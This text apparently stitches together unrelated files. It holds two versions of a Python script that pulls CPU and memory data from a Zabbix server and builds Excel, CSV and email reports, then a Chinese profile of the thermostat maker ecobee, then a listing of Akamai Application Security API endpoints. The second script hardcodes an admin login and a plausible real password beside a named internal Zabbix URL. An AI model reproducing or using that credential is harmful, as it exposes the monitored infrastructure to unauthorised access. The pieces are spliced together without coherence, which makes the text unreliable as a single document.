ws_top.row_dimensions[1].height = 20
for col_idx, (col_hdr, _) in enumerate(col_defs, start=1):
hdr(ws_top.cell(row=1, column=col_idx), col_hdr)
# 合并所有数据,按内存+CPU综合降序
all_data = list(rows)
all_data.sort(key=lambda x: (-(x["mem_used_pct"] or 0), -(x["cpu_pct"] or 0)))
top_data = all_data[:topn]
for row_idx, r in enumerate(top_data, start=2):
bg = "EEF2FF" if row_idx % 2 == 0 else "FFFFFF"
mem_bg, mem_fc = pct_color(r.get("mem_used_pct"), bg)
cpu_bg, cpu_fc = pct_color(r.get("cpu_pct"), bg)
row_vals = [
(r["name"], bg, "000000"),
(r["ip"], bg, "000000"),
(r["mem_total_gb"],bg, "000000"),
(r["mem_avail_gb"],bg, "000000"),
(r["mem_used_pct"],mem_bg, mem_fc),
(r["cpu_pct"], cpu_bg, cpu_fc),
]
for col_idx, (val, cbg, cfc) in enumerate(row_vals, start=1):
if val is None:
display_val, fmt = "N/A", None
elif col_idx in (3, 4):
display_val, fmt = f"{val:.1f}", '0.0'
elif col_idx in (5, 6):
display_val, fmt = val, '0.0'
else:
display_val, fmt = val, None
cell = ws_top.cell(row=row_idx, column=col_idx, value=display_val)
cell.font = Font(name="微软雅黑", size=10, color=cfc)
cell.fill = PatternFill("solid", fgColor=cbg)
cell.alignment = Alignment(horizontal="center", vertical="center")
thin = Side(style="thin", color="CCCCCC")
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)
if fmt:
cell.number_format = fmt
for col_idx, (_, width) in enumerate(col_defs, start=1):
ws_top.column_dimensions[get_column_letter(col_idx)].width = width
ws_top.column_dimensions["A"].width = 36
ws_top.freeze_panes = "A2"
wb.save(XLSX_PATH)
print(f"XLSX: {XLSX_PATH}")
# ========== CSV 生成(UTF-8-BOM,兼容 Windows Excel)==========
def generate_csv(rows):
os.makedirs(os.path.dirname(CSV_PATH), exist_ok=True)
with open(CSV_PATH, "w", newline="", encoding="utf-8-sig") as f:
writer = csv.writer(f)
writer.writerow(["主机组", "主机名", "IP", "内存总量(GB)",
"内存可用(GB)", "内存占用率(%)", "CPU占用率(%)"])
for r in rows:
writer.writerow([
r["group"],
r["name"],
r["ip"],
f"{r['mem_total_gb']:.1f}" if r['mem_total_gb'] is not None else "N/A",
f"{r['mem_avail_gb']:.1f}" if r['mem_avail_gb'] is not None else "N/A",
f"{r['mem_used_pct']:.1f}" if r['mem_used_pct'] is not None else "N/A",
f"{r['cpu_pct']:.1f}" if r['cpu_pct'] is not None else "N/A",
])
print(f"CSV: {CSV_PATH}")
# ========== 飞书消息 ==========
def build_feishu_summary(rows):
"""构建飞书摘要消息(Markdown格式)"""
from collections import defaultdict
group_rows = defaultdict(list)
for r in rows:
group_rows[r["group"]].append(r)
# 重点关注:内存占用≥60% 或 CPU≥60%
warnings = [r for r in rows
if (r["mem_used_pct"] or 0) >= 60 or (r["cpu_pct"] or 0) >= 60]
warnings.sort(key=lambda x: (-(x["mem_used_pct"] or 0), -(x["cpu_pct"] or 0)))
lines = ["## 服务器监控报告", ""]
lines.append(f"**采集时间**:{datetime.now().strftime('%Y-%m-%d %H:%M')}")
lines.append(f"共 **{len(rows)}** 台主机,覆盖 **{len(group_rows)}** 个主机组")
lines.append("")
if warnings:
lines.append("### ⚠ 重点关注(内存占用≥60% 或 CPU≥60%)")
lines.append("")
lines.append("| 主机名 | 主机组 | 内存占用率(%) | CPU占用率(%) |")
lines.append("|---|---|---|---|")
for r in warnings[:20]: # 最多显示20条
lines.append(f"| {r['name']} | {r['group']} | "
f"{r['mem_used_pct']:.1f} | {r['cpu_pct']:.1f} |")
if len(warnings) > 20:
lines.append(f"...(共 {len(warnings)} 台,详见附件)")
lines.append("")
else:
lines.append("### ✅ 全部正常(无告警主机)")
lines.append("")
lines.append(f"完整数据:`{CSV_PATH}`")
return "\n".join(lines)
# ========== 邮件发送 ==========
def load_env():
env_path = "/root/.hermes/.env"
if os.path.exists(env_path):
with open(env_path) as f:
for line in f:
line = line.strip()
if "=" in line and not line.startswith("#"):
k, v = line.split("=", 1)
os.environ[k] = v.strip()
def send_email(subject, html_body, attachments=None):
load_env()
smtp_host = os.environ.get("SMTP_HOST", "")
smtp_port = os.environ.get("SMTP_PORT", "465")
smtp_from = os.environ.get("SMTP_FROM", "")
smtp_token = os.environ.get("SMTP_TOKEN", "")
target = os.environ.get("TARGET_EMAIL", "")
if not all([smtp_host, smtp_from, smtp_token, target]):
print("邮件配置不完整,跳过")
return
msg = MIMEMultipart()
msg["From"] = smtp_from
msg["To"] = target
msg["Subject"] = subject
msg.attach(MIMEText(html_body, "html", "utf-8"))
for fpath in (attachments or []):
if os.path.exists(fpath):
with open(fpath, "rb") as f:
part = MIMEBase("application", "octet-stream")
part.set_payload(f.read())
encoders.encode_base64(part)
part["Content-Disposition"] = f"attachment; filename={os.path.basename(fpath)}"
msg.attach(part)
try:
if smtp_port == "465":
with smtplib.SMTP_SSL(smtp_host, int(smtp_port)) as s:
s.login(smtp_from, smtp_token)
s.sendmail(smtp_from, target, msg.as_string())
else:
with smtplib.SMTP(smtp_host, int(smtp_port)) as s:
s.starttls()
s.login(smtp_from, smtp_token)
s.sendmail(smtp_from, target, msg.as_string())
print(f"邮件已发送: {target}")
except Exception as e:
print(f"邮件发送失败: {e}")
def build_html_body(rows):
group_rows = defaultdict(list)
for r in rows:
group_rows[r["group"]].append(r)
html = f"""<html><body>
<h2>服务器监控报告</h2>
<p><b>采集时间:</b>{datetime.now().strftime('%Y-%m-%d %H:%M')}</p>
<p><b>共 {len(rows)} 台主机,{len(group_rows)} 个主机组</b></p>"""
for gname, gdata in sorted(group_rows.items()):
html += f"<h3>{gname} ({len(gdata)} 台)</h3>"
html += ("<table border='1' cellpadding='4' cellspacing='0' "
"style='border-collapse:collapse;font-size:12px;'>")
html += ("<tr bgcolor='#4472C4' style='color:white;'>"
"<th>主机名</th><th>IP</th>"
"<th>内存总量(GB)</th><th>内存可用(GB)</th>"
"<th>内存占用率(%)</th><th>CPU占用率(%)</th></tr>")
for i, r in enumerate(gdata):
bg = "#EEF2FF" if i % 2 == 0 else "#FFFFFF"
mp = r["mem_used_pct"] or 0
cp = r["cpu_pct"] or 0
ms = ("background:#FF4444;color:white;" if mp >= 80 else
"background:#FFAA44;" if mp >= 60 else
"background:#FFEE88;" if mp >= 40 else "")
cs = ("background:#FF4444;color:white;" if cp >= 80 else
"background:#FFAA44;" if cp >= 60 else
"background:#FFEE88;" if cp >= 40 else "")
html += f"<tr bgcolor='{bg}'>"
html += f"<td>{r['name']}</td><td>{r['ip']}</td>"
html += f"<td>{r['mem_total_gb']:.1f}</td>" if r['mem_total_gb'] else "<td>N/A</td>"
html += f"<td>{r['mem_avail_gb']:.1f}</td>" if r['mem_avail_gb'] else "<td>N/A</td>"
html += f"<td style='{ms}'>{r['mem_used_pct']:.1f}</td>" if r['mem_used_pct'] else "<td>N/A</td>"
html += f"<td style='{cs}'>{r['cpu_pct']:.1f}</td>" if r['cpu_pct'] else "<td>N/A</td>"
html += "</tr>"
html += "</table><br/>"
html += "</body></html>"
return html
# ========== 主流程 ==========
def main():
print(f"[{datetime.now().strftime('%H:%M:%S')}] 开始巡检...")
# 1. Zabbix 登录
auth = api_call("user.login", {
"user": ZABBIX_USER,
"password": ZABBIX_PASSWORD,
})
print(f"[{datetime.now().strftime('%H:%M:%S')}] 登录成功")
# 2. 采集数据
rows = fetch_all(auth)
print(f"[{datetime.now().strftime('%H:%M:%S')}] 采集完成: {len(rows)} 台主机")
# 3. 生成文件
generate_csv(rows)
generate_xlsx(rows)
# 4. 飞书消息(通过 Hermes send_message API 发送)
summary = build_feishu_summary(rows)
print(f"[{datetime.now().strftime('%H:%M:%S')}] 飞书摘要:\n{summary[:500]}")
# 5. 邮件
subject = f"【监控报告】服务器巡检 {datetime.now().strftime('%Y-%m-%d %H:%M')}"
html = build_html_body(rows)
atts = [f for f in [XLSX_PATH, CSV_PATH] if os.path.exists(f)]
send_email(subject, html, atts)
print(f"[{datetime.now().strftime('%H:%M:%S')}] 全部完成!")
if __name__ == "__main__":
main()
FILE:scripts/zabbix_monitor.py
#!/usr/bin/env python3
"""
Zabbix 监控数据采集 → XLSX(每主机组一个 Sheet,按内存/CPU 占用率降序)
"""
import json
import csv
import sys
import os
from datetime import datetime
from dotenv import load_dotenv
load_dotenv() # 加载 ~/.hermes/.env
from urllib.request import urlopen, Request
from urllib.error import URLError
import openpyxl
from openpyxl.styles import Font, PatternFill, Alignment, Border, Side
from openpyxl.utils import get_column_letter
# ========== 配置 ==========
ZABBIX_URL = "http://zabbix.ops.qiyujoy.com/api_jsonrpc.php"
ZABBIX_USER = "Admin"
ZABBIX_PASSWORD = "Rk&E6D5*#aW&"
ITEMS_KEY = {
"memory_avail": "vm.memory.size[available]",
"memory_total": "vm.memory.size[total]",
"cpu": "system.cpu.util",
}
EXCLUDE_GROUPS = {"Templates", "Templates/Applications", "Templates/Databases",
"Templates/Modules", "Templates/Network devices",
"Templates/Operating systems", "Templates/Server hardware",
"Templates/Virtualization", "Discovered hosts"}
CSV_PATH = "/root/.hermes/cron/output/zabbix_monitor.csv"
XLSX_PATH = "/root/.hermes/cron/output/zabbix_monitor.xlsx"
# TOPN: 关注 top n 台机器(内存+CPU 综合排序),0=关闭
TOPN = int(os.environ.get("TOPN", "50"))
# ========== Zabbix API ==========
def api_call(method, params, auth=None):
payload = {
"jsonrpc": "2.0",
"method": method,
"params": params,
"id": 1,
}
if auth:
payload["auth"] = auth
data = json.dumps(payload).encode("utf-8")
req = Request(ZABBIX_URL, data=data, headers={"Content-Type": "application/json"})
try:
with urlopen(req, timeout=60) as resp:
result = json.loads(resp.read().decode("utf-8"))
except URLError as e:
print(f"API 请求失败: {e}", file=sys.stderr)
sys.exit(1)
if "error" in result:
print(f"API 错误: {result['error']}", file=sys.stderr)
sys.exit(1)
return result.get("result", [])
def fetch_all(auth):
"""获取所有主机+监控数据"""
# 1. 主机组
groups = api_call("hostgroup.get", {"output": ["groupid", "name"]}, auth=auth)
groups = [g for g in groups if g["name"] not in EXCLUDE_GROUPS]
print(f"有效主机组 ({len(groups)} 个)")
group_ids = [g["groupid"] for g in groups]
# 2. 主机
hosts = api_call("host.get", {
"output": ["hostid", "name", "host"],
"groupids": group_ids,
"selectGroups": ["groupid", "name"],
}, auth=auth)
print(f"主机总数: {len(hosts)}")
# 3. 监控项(分批)
key_filters = list(ITEMS_KEY.values())
all_items = []
host_ids = [h["hostid"] for h in hosts]
BATCH = 100
for i in range(0, len(host_ids), BATCH):
batch_ids = host_ids[i:i+BATCH]
items = api_call("item.get", {
"output": ["itemid", "hostid", "key_", "lastvalue"],
"hostids": batch_ids,
"filter": {"key_": key_filters},
}, auth=auth)
all_items.extend(items)
print(f"监控项: {len(all_items)} 个")
# 4. 组装数据
item_map = {}
for item in all_items:
item_map[(item["hostid"], item["key_"])] = item.get("lastvalue", "")
rows = []
for host in hosts:
hid = host["hostid"]
host_groups = host.get("groups", [])
gnames = [g["name"] for g in host_groups]
# 跳过完全属于排除组的机器(同时不属于任何有效组)
valid_gnames = [n for n in gnames if n not in EXCLUDE_GROUPS]
if not valid_gnames:
continue
# 用第一个有效组名作为该主机的归属组
gname = valid_gnames[0]
mem_total = item_map.get((hid, ITEMS_KEY["memory_total"]), "")
mem_avail = item_map.get((hid, ITEMS_KEY["memory_avail"]), "")
cpu = item_map.get((hid, ITEMS_KEY["cpu"]), "")
mem_total_gb = float(mem_total) / (1024**3) if mem_total else None
mem_avail_gb = float(mem_avail) / (1024**3) if mem_avail else None
cpu_pct = float(cpu) if cpu else None
# 内存占用率 = 100 - 可用率
if mem_avail and mem_total:
mem_used_pct = (1 - float(mem_avail) / float(mem_total)) * 100
else:
mem_used_pct = None
rows.append({
"group": gname,
"name": host["name"],
"ip": host["host"],
"mem_avail_gb": mem_avail_gb,
"mem_total_gb": mem_total_gb,
"mem_used_pct": mem_used_pct,
"cpu_pct": cpu_pct,
})
return rows
# ========== Excel 生成 ==========
def make_style(bold=False, size=11, color=None, bg_color=None, align="center"):
font = Font(name="微软雅黑", bold=bold, size=size, color=color or "000000")
if bg_color:
fill = PatternFill("solid", fgColor=bg_color)
else:
fill = None
align_obj = Alignment(horizontal=align, vertical="center", wrap_text=True)
return font, fill, align_obj
def style_header(cell, text):
cell.value = text
cell.font = Font(name="微软雅黑", bold=True, size=10, color="FFFFFF")
cell.fill = PatternFill("solid", fgColor="4472C4")
cell.alignment = Alignment(horizontal="center", vertical="center")
thin = Side(style="thin", color="CCCCCC")
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)
def style_data_cell(cell, value, bg="FFFFFF", font_color="000000", number_fmt=None):
cell.value = value
cell.font = Font(name="微软雅黑", size=10, color=font_color)
cell.fill = PatternFill("solid", fgColor=bg)
cell.alignment = Alignment(horizontal="center", vertical="center")
thin = Side(style="thin", color="CCCCCC")
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)
if number_fmt:
cell.number_format = number_fmt
def pct_color(pct, bg_base):
"""根据占用率百分比返回(背景色, 字体色)"""
if pct is None:
return bg_base, "000000"
if pct >= 80:
return "FF4444", "FFFFFF"
if pct >= 60:
return "FFAA44", "000000"
if pct >= 40:
return "FFEE88", "000000"
return bg_base, "000000"
def generate_xlsx(rows):
"""生成 xlsx,按主机组分 sheet,每 sheet 按内存+CPU 占用率降序"""
from collections import defaultdict
group_rows = defaultdict(list)
for r in rows:
group_rows[r["group"]].append(r)
wb = openpyxl.Workbook()
wb.remove(wb.active)
# 列定义:(列名, 列宽)
col_defs = [
("主机名", 32),
("IP", 18),
("内存总量(GB)", 14),
("内存可用(GB)", 14),
("内存占用率(%)", 14),
("CPU占用率(%)", 13),
]
# ========== 总览 Sheet ==========
ws_ov = wb.create_sheet(title="总览")
ws_ov.cell(row=1, column=1, value="服务器监控总览").font = Font(name="微软雅黑", bold=True, size=14)
ws_ov.cell(row=1, column=1).alignment = Alignment(horizontal="left")
ws_ov.row_dimensions[1].height = 24
ws_ov.cell(row=2, column=1, value=f"采集时间:{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
ws_ov.cell(row=2, column=1).font = Font(name="微软雅黑", size=10, color="666666")
ws_ov.cell(row=3, column=1, value=f"共 {len(rows)} 台主机,{len(group_rows)} 个有效主机组")
ws_ov.cell(row=3, column=1).font = Font(name="微软雅黑", size=10, color="666666")
ov_headers = ["主机组", "主机数", "内存告警(≥80%)", "CPU告警(≥80%)"]
ov_widths = [22, 10, 16, 16]
for col_idx, hdr in enumerate(ov_headers, start=1):
style_header(ws_ov.cell(row=5, column=col_idx), hdr)
ws_ov.row_dimensions[5].height = 20
for row_idx, (gname, gdata) in enumerate(sorted(group_rows.items()), start=6):
valid_mem = [r for r in gdata if r["mem_used_pct"] is not None]
valid_cpu = [r for r in gdata if r["cpu_pct"] is not None]
mem_alarm = sum(1 for r in valid_mem if r["mem_used_pct"] >= 80)
cpu_alarm = sum(1 for r in valid_cpu if r["cpu_pct"] >= 80)
vals = [gname, len(gdata), mem_alarm, cpu_alarm]
for col_idx, val in enumerate(vals, start=1):
cell = ws_ov.cell(row=row_idx, column=col_idx, value=val)
cell.font = Font(name="微软雅黑", size=10)
cell.alignment = Alignment(horizontal="center", vertical="center")
thin = Side(style="thin", color="CCCCCC")
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)
if col_idx == 3 and mem_alarm > 0:
cell.fill = PatternFill("solid", fgColor="FF4444")
cell.font = Font(name="微软雅黑", size=10, bold=True, color="FFFFFF")
elif col_idx == 4 and cpu_alarm > 0:
cell.fill = PatternFill("solid", fgColor="FF4444")
cell.font = Font(name="微软雅黑", size=10, bold=True, color="FFFFFF")
for col_idx, width in enumerate(ov_widths, start=1):
ws_ov.column_dimensions[get_column_letter(col_idx)].width = width
ws_ov.column_dimensions["A"].width = 24
# ========== 各主机组 Sheet ==========
for gname, gdata in sorted(group_rows.items()):
ws = wb.create_sheet(title=gname[:31])
ws.row_dimensions[1].height = 20
# 表头
for col_idx, (hdr, _) in enumerate(col_defs, start=1):
style_header(ws.cell(row=1, column=col_idx), hdr)
# 排序:内存占用率降序,再 CPU 降序
gdata.sort(key=lambda x: (-(x["mem_used_pct"] or 0), -(x["cpu_pct"] or 0)))
# 数据行
for row_idx, r in enumerate(gdata, start=2):
bg = "EEF2FF" if row_idx % 2 == 0 else "FFFFFF"
mem_bg, mem_fc = pct_color(r.get("mem_used_pct"), bg)
cpu_bg, cpu_fc = pct_color(r.get("cpu_pct"), bg)
row_vals = [
(r["name"], bg, "000000"),
(r["ip"], bg, "000000"),
(r["mem_total_gb"], bg, "000000"),
(r["mem_avail_gb"], bg, "000000"),
(r["mem_used_pct"], mem_bg, mem_fc),
(r["cpu_pct"], cpu_bg, cpu_fc),
]
for col_idx, (val, cbg, cfc) in enumerate(row_vals, start=1):
if val is None:
display_val = "N/A"
fmt = None
elif col_idx in (3, 4):
display_val = f"{val:.1f}"
fmt = '0.0'
elif col_idx in (5, 6):
display_val = val
fmt = '0.0'
else:
display_val = val
fmt = None
cell = ws.cell(row=row_idx, column=col_idx, value=display_val)
cell.font = Font(name="微软雅黑", size=10, color=cfc)
cell.fill = PatternFill("solid", fgColor=cbg)
cell.alignment = Alignment(horizontal="center", vertical="center")
thin = Side(style="thin", color="CCCCCC")
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)
if fmt:
cell.number_format = fmt
# 列宽
for col_idx, (_, width) in enumerate(col_defs, start=1):
ws.column_dimensions[get_column_letter(col_idx)].width = width
ws.freeze_panes = "A2"
# ========== TOPN Sheet ==========
if TOPN > 0:
ws_top = wb.create_sheet(title=f"TOP{TOPN}(内存+CPU)")
ws_top.row_dimensions[1].height = 20
# 表头
for col_idx, (hdr, _) in enumerate(col_defs, start=1):
style_header(ws_top.cell(row=1, column=col_idx), hdr)
# 合并所有数据,按内存占用率+CPU占用率综合降序
all_data = []
for gname, gdata in group_rows.items():
for r in gdata:
r = dict(r) # 复制,避免跨组污染
r["group"] = gname
all_data.append(r)
all_data.sort(key=lambda x: (-(x["mem_used_pct"] or 0), -(x["cpu_pct"] or 0)))
top_data = all_data[:TOPN]
for row_idx, r in enumerate(top_data, start=2):
bg = "EEF2FF" if row_idx % 2 == 0 else "FFFFFF"
mem_bg, mem_fc = pct_color(r.get("mem_used_pct"), bg)
cpu_bg, cpu_fc = pct_color(r.get("cpu_pct"), bg)
row_vals = [
(r["name"], bg, "000000"),
(r["ip"], bg, "000000"),
(r["mem_total_gb"], bg, "000000"),
(r["mem_avail_gb"], bg, "000000"),
(r["mem_used_pct"], mem_bg, mem_fc),
(r["cpu_pct"], cpu_bg, cpu_fc),
]
for col_idx, (val, cbg, cfc) in enumerate(row_vals, start=1):
if val is None:
display_val = "N/A"
fmt = None
elif col_idx in (3, 4):
display_val = f"{val:.1f}"
fmt = '0.0'
elif col_idx in (5, 6):
display_val = val
fmt = '0.0'
else:
display_val = val
fmt = None
cell = ws_top.cell(row=row_idx, column=col_idx, value=display_val)
cell.font = Font(name="微软雅黑", size=10, color=cfc)
cell.fill = PatternFill("solid", fgColor=cbg)
cell.alignment = Alignment(horizontal="center", vertical="center")
thin = Side(style="thin", color="CCCCCC")
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)
if fmt:
cell.number_format = fmt
for col_idx, (_, width) in enumerate(col_defs, start=1):
ws_top.column_dimensions[get_column_letter(col_idx)].width = width
ws_top.column_dimensions["A"].width = 36 # 主机名列稍宽
ws_top.freeze_panes = "A2"
wb.save(XLSX_PATH)
print(f"XLSX 已写入: {XLSX_PATH}")
def main():
# 1. 登录
auth = api_call("user.login", {
"user": ZABBIX_USER,
"password": ZABBIX_PASSWORD,
})
print(f"登录成功")
# 2. 采集数据
rows = fetch_all(auth)
# 3. 生成 xlsx
generate_xlsx(rows)
# 4. 同时保留 CSV(UTF-8-BOM 编码,兼容 Windows Excel)
os.makedirs(os.path.dirname(CSV_PATH), exist_ok=True)
with open(CSV_PATH, "w", newline="", encoding="utf-8-sig") as f:
writer = csv.writer(f)
writer.writerow(["主机组", "主机名", "IP", "内存可用(GB)",
"内存总量(GB)", "内存占用率(%)", "CPU占用率(%)"])
for r in rows:
writer.writerow([
r["group"], r["name"], r["ip"],
f"{r['mem_avail_gb']:.1f}" if r['mem_avail_gb'] is not None else "N/A",
f"{r['mem_total_gb']:.1f}" if r['mem_total_gb'] is not None else "N/A",
f"{r['mem_used_pct']:.1f}" if r['mem_used_pct'] is not None else "N/A",
f"{r['cpu_pct']:.1f}" if r['cpu_pct'] is not None else "N/A",
])
print(f"CSV 已写入: {CSV_PATH}")
if __name__ == "__main__":
main()
Ecobee offers smart thermostats with multi-room sensors and local privacy features, partnering with utilities for energy management in North America.
--- name: ecobee summary: 加拿大智能恒温器公司如何用传感器技术和隐私保护挑战 Nest 的统治地位 read_when: - 研究智能家居恒温器市场时 - 分析 Nest vs ecobee 竞争格局时 - 了解加拿大科技创业公司时 - 评估智能家庭能源管理时 --- # ecobee ## 概述 加拿大智能恒温器公司如何用传感器技术和隐私保护挑战 Nest 的统治地位。 ## 历史时间线 - 2007: Stuart MacDonald 在加拿大多伦多创立 ecobee - 2009: 发布第一代 Wi-Fi 恒温器 - 2014: 推出 Room Sensors(房间传感器),解决 Nest 的单一位置测温问题 - 2017: 推出 ecobee4(内置 Alexa) - 2018-2019: 推出 ecobee SmartThermostat 和 SmartCamera - 2020-2022: 扩展至智能恒温器外的产品(门铃、传感器、开关) - 2022-2023: 与北美主要公用事业公司合作节能项目 ## 商业模式 硬件销售(智能恒温器、传感器、摄像头、开关)+ 与公用事业公司的能源管理合作。通过 Demand Response 项目帮助电网降低峰值负荷。硬件为主要收入,软件服务为辅。 ## 护城河分析 Room Sensor 技术(多点测温,比 Nest 单点更准确);隐私保护定位(强调本地处理、不上传视频到云端);与公用事业公司的 B2B 合作关系;加拿大本土优势。 ## 关键数据 - **总部**: 加拿大多伦多 - **市场**: 北美为主 - **产品线**: 恒温器、传感器、摄像头、智能开关 - **竞争对手**: Google Nest, Honeywell ## 有趣事实 - ecobee 是少数几家在 Nest 的阴影下成功存活并增长的智能恒温器公司——其关键差异化是 Room Sensors,解决了'恒温器所在位置温度≠全屋温度'的痛点 - 公司特别注重隐私,与 Ring/Nest 的云端存储策略不同,强调本地处理和用户数据控制权
Akamai: Application Security API skill. Use when working with Akamai: Application Security for activations, api-discovery, configs. Covers 236 endpoints.
---
name: lap-akamai-application-security-api
description: "Akamai: Application Security API skill. Use when working with Akamai: Application Security for activations, api-discovery, configs. Covers 236 endpoints."
version: 1.0.0
generator: lapsh
---
# Akamai: Application Security API
API version: v1
## Auth
No authentication required.
## Base URL
https://{hostname}/appsec/v1
## Setup
1. No auth setup needed
2. GET /api-discovery -- verify access
3. POST /activations -- create first activations
## Endpoints
236 endpoints across 10 groups. See references/api-spec.lap for full details.
### activations
| Method | Path | Description |
|--------|------|-------------|
| POST | /activations | Activate a configuration version |
| GET | /activations/status/{statusId} | Get an activation request status |
| GET | /activations/{activationId} | Get activation status |
### api-discovery
| Method | Path | Description |
|--------|------|-------------|
| GET | /api-discovery | List discovered APIs |
| GET | /api-discovery/host/{hostname}/basepath/{basePath} | Get a discovered API |
| PUT | /api-discovery/host/{hostname}/basepath/{basePath} | Modify an API's visibility |
| POST | /api-discovery/host/{hostname}/basepath/{basePath}/endpoints | Create an endpoint or resource |
| GET | /api-discovery/host/{hostname}/basepath/{basePath}/endpoints | List discovered API endpoints |
### configs
| Method | Path | Description |
|--------|------|-------------|
| POST | /configs | Create a configuration |
| GET | /configs | List configurations |
| GET | /configs/{configId} | Get a security configuration |
| PUT | /configs/{configId} | Rename a security configuration |
| DELETE | /configs/{configId} | Delete a configuration |
| GET | /configs/{configId}/activations | List activation history |
| POST | /configs/{configId}/custom-rules | Create a custom rule |
| GET | /configs/{configId}/custom-rules | List custom rules |
| GET | /configs/{configId}/custom-rules/{ruleId} | Get a custom rule |
| PUT | /configs/{configId}/custom-rules/{ruleId} | Modify a custom rule |
| DELETE | /configs/{configId}/custom-rules/{ruleId} | Remove a custom rule |
| GET | /configs/{configId}/failover-hostnames | List failover hostnames |
| POST | /configs/{configId}/notification/subscription/{feature} | Subscribe or unsubscribe to recommendation emails |
| GET | /configs/{configId}/notification/subscription/{feature} | List subscribers |
| POST | /configs/{configId}/versions | Clone a configuration version |
| GET | /configs/{configId}/versions | List configuration versions |
| POST | /configs/{configId}/versions/diff | Compare two versions |
| GET | /configs/{configId}/versions/{versionNumber} | Get configuration version details |
| DELETE | /configs/{configId}/versions/{versionNumber} | Delete a configuration version |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/cookie-settings | Get cookie settings |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/cookie-settings | Modify cookie settings |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/evasive-path-match | Get evasive path match settings for a configuration |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/evasive-path-match | Modify evasive path match settings for a configuration |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/ja4-fingerprint | Get JA4 client TLS fingerprint settings |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/ja4-fingerprint | Modify JA4 client TLS fingerprint settings |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/logging | Get the HTTP header log settings for a configuration |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/logging | Modify HTTP header log settings for a configuration |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/logging/attack-payload | Get the attack payload log settings for a configuration |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/logging/attack-payload | Modify attack payload log settings for a configuration |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/pii-learning | Get PII learning settings for a configuration |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/pii-learning | Enable PII learning settings for a configuration |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/pragma-header | Get Pragma settings for a configuration |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/pragma-header | Modify Pragma settings for a configuration |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/prefetch | Get prefetch requests |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/prefetch | Modify prefetch requests |
| GET | /configs/{configId}/versions/{versionNumber}/advanced-settings/request-body | Get request body size settings for a configuration |
| PUT | /configs/{configId}/versions/{versionNumber}/advanced-settings/request-body | Modify request body inspection limit settings for a configuration |
| POST | /configs/{configId}/versions/{versionNumber}/behavioral-ddos | Create a Behavioral DDoS profile |
| GET | /configs/{configId}/versions/{versionNumber}/behavioral-ddos | List Behavioral DDoS profiles |
| GET | /configs/{configId}/versions/{versionNumber}/behavioral-ddos/{profileId} | Get a Behavioral DDoS profile |
| PUT | /configs/{configId}/versions/{versionNumber}/behavioral-ddos/{profileId} | Modify a Behavioral DDoS profile |
| DELETE | /configs/{configId}/versions/{versionNumber}/behavioral-ddos/{profileId} | Remove a Behavioral DDoS profile |
| GET | /configs/{configId}/versions/{versionNumber}/bypass-network-lists | Get bypass network lists settings |
| PUT | /configs/{configId}/versions/{versionNumber}/bypass-network-lists | Modify the bypass network lists settings |
| POST | /configs/{configId}/versions/{versionNumber}/custom-deny | Create a custom deny action |
| GET | /configs/{configId}/versions/{versionNumber}/custom-deny | List custom deny actions |
| GET | /configs/{configId}/versions/{versionNumber}/custom-deny/{customDenyId} | Get a custom deny action |
| PUT | /configs/{configId}/versions/{versionNumber}/custom-deny/{customDenyId} | Modify a custom deny action |
| DELETE | /configs/{configId}/versions/{versionNumber}/custom-deny/{customDenyId} | Remove a custom deny action |
| POST | /configs/{configId}/versions/{versionNumber}/custom-rules/usage | List custom rules usage by security policies |
| POST | /configs/{configId}/versions/{versionNumber}/export | Asynchronously export a configuration version |
| GET | /configs/{configId}/versions/{versionNumber}/export/{exportId}/result | Get asynchronous export results |
| GET | /configs/{configId}/versions/{versionNumber}/export/{exportId}/status | Get asynchronous export status |
| GET | /configs/{configId}/versions/{versionNumber}/hostname-coverage/match-targets | Get the hostname coverage match targets |
| GET | /configs/{configId}/versions/{versionNumber}/hostname-coverage/overlapping | List hostname overlaps |
| POST | /configs/{configId}/versions/{versionNumber}/malware-policies | Create a malware policy |
| GET | /configs/{configId}/versions/{versionNumber}/malware-policies | List malware policies |
| GET | /configs/{configId}/versions/{versionNumber}/malware-policies/content-types | List supported malware policy content types |
| GET | /configs/{configId}/versions/{versionNumber}/malware-policies/{malwarePolicyId} | Get a malware policy |
| PUT | /configs/{configId}/versions/{versionNumber}/malware-policies/{malwarePolicyId} | Modify a malware policy |
| DELETE | /configs/{configId}/versions/{versionNumber}/malware-policies/{malwarePolicyId} | Remove a malware policy |
| POST | /configs/{configId}/versions/{versionNumber}/match-targets | Create a match target |
| GET | /configs/{configId}/versions/{versionNumber}/match-targets | List match targets |
| PUT | /configs/{configId}/versions/{versionNumber}/match-targets/sequence | Modify match target order |
| GET | /configs/{configId}/versions/{versionNumber}/match-targets/{targetId} | Get a match target |
| PUT | /configs/{configId}/versions/{versionNumber}/match-targets/{targetId} | Modify a match target |
| DELETE | /configs/{configId}/versions/{versionNumber}/match-targets/{targetId} | Remove a match target |
| PUT | /configs/{configId}/versions/{versionNumber}/protect-eval-hostnames | Protect evaluation hostnames |
| POST | /configs/{configId}/versions/{versionNumber}/rate-policies | Create a rate policy |
| GET | /configs/{configId}/versions/{versionNumber}/rate-policies | List rate policies |
| GET | /configs/{configId}/versions/{versionNumber}/rate-policies/{ratePolicyId} | Get a rate policy |
| PUT | /configs/{configId}/versions/{versionNumber}/rate-policies/{ratePolicyId} | Modify a rate policy |
